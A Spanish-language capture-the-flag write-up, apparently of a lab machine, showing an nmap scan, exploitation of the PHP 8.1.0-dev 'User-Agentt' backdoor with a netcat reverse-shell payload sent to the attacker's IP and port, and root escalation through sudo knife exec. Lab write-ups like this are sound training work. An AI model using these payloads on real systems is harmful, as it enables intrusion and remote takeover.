Machine IP: 10.10.10.242
DATE : 28/08/2021
Matriz de la maquina
Esta matriz nos muestra las características de explotación de la maquina.
Reconocimiento
Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(j3sm0n㉿kali)-[~]
└─$ nmap -sC -sV 10.10.10.242 148 ⨯ 1 ⚙
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 02:03 EDT
Nmap scan report for 10.10.10.242
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.02 seconds
Como vemos tiene el puerto 80 abierto, que es el http, veremos en el navegador de que se trata y analizaremos la web
Wappalyzer
Usando la extensión wappalizer para identificar las tecnologías usadas en la web, encontramos que la web está alojado en servidor apache 2.4.41 y está construido en php 8.1.
Method 1
Al hacer un poco de research encontramos la siguiente vulnerabilidad PHP 8.1.0-dev - ‘User-Agentt’ Remote Code Execution - PHP webapps Exploit , que se aprovecha del backdoor que fue fue dejado en esta version de PHP , haciendo uso del User-Agent
, para ejecutar comandos. El siguiente exploit utiliza una puerta trasera para proporcionar un pseudo shell en el host.
Method 2
Pero para no estar solo ejecutando el exploit y obteniendo una shell así de facil, haremos uso de burpsuite
y netcat
para establecer una shell reversa en nuestra maquina.
Estableciendo un listener en nuestra maquina
BurpSuite
Como ya sabemos que la vulnerabilidad está en agregar el User-Agent, mandaremos al repeater para ejecutar la consulta agregando User-Agentt: zerodiumsystem('rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip puerto >/tmp/f');
reemplazando la ip y el puerto por tu ip y establecido en netcat, este es un payload sacado de PayloadsAllTheThings, intenté con el netcat normal, pero al parecer la maquina tenia otra versión de netcat y la de busybox me funcionó.
Mandamos la consulta y game over, obtenemos una shell
con el usuario james
y obtenemos el user.txt
Escalamiento de privilegios
Luego de obtener acceso a una Shell con el usuario james, ejecutamos el comando
1
sudo -l
Para saber que comandos se pueden ejecutar con permisos SUID
, esto habilitaría la ejecución con permisos root
.
Vemos que se puede ejecutar el comando knife con permisos de root, pero no sabemos de que se trata este comando, entonces listaremos las opciones que tiene este comando y encontramos una opción llamada exec
que es un comando de ejecución, con el cual se puede invocar una shell.
Ejecutamos el comando para invocar una shell
1
sudo /usr/bin/knife exec --exec "exec '/bin/sh -i'"
Game over! Obtenemos acceso root y el root.txt.
Gracias por leer y happy hacking.